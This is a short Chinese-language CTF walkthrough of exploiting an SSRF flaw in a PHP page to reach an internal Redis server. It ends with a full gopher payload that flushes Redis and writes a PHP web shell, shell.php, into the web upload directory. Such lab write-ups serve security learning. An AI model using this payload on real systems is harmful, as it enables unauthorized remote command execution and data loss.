目录
Redis可以进行未授权访问需要满足一下条件:
- 无密码登录
- protect-mode设置为no
- 绑定在0.0.0.0或127.0.0.1(配合ssrf)
1、题目
2、分析
由PHP代码可知,传入的参数为url
,然后经过正则匹配后执行该url
。
额外信息为可以传入参数info
,来查看phpinfo
可以得到当前主机的IP地址信息为172.19.0.3
,那么就可以绕过127.0.0.1
,使用http协议去探测这台主机上面的存活端口以及C段存活主机
http://192.168.104.128:8091/?url=http://172.19.0.3:80
使用BP爆破端口,可以看到目前服务器好像只有一个80端口有用。
BP爆破一下内网的存活主机,可以发现172.19.0.2
的数据包有异
爆破一下179.19.0.2
的端口
可以发现6379
存活
使用gopherus工具生成gopher协议shell
尝试传入生成的值或者二次编码后在传入,结果:网页瞬间刷新,无反应
造成的原因可能有两种:一种是无权限写入,另一种是写入的路径错误。
但是通过phpinfo得知的信息是当前目录为/var/www/html
所以应该是无权限写入,那么就需要爆破子目录,看看子目录有没有写入权限
查看到当前路径下有一个子目录为upload
,对该目录在进行一次写入看看
gopher://172.19.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
我们可以看到没有报错,所以已经创建了这个文件。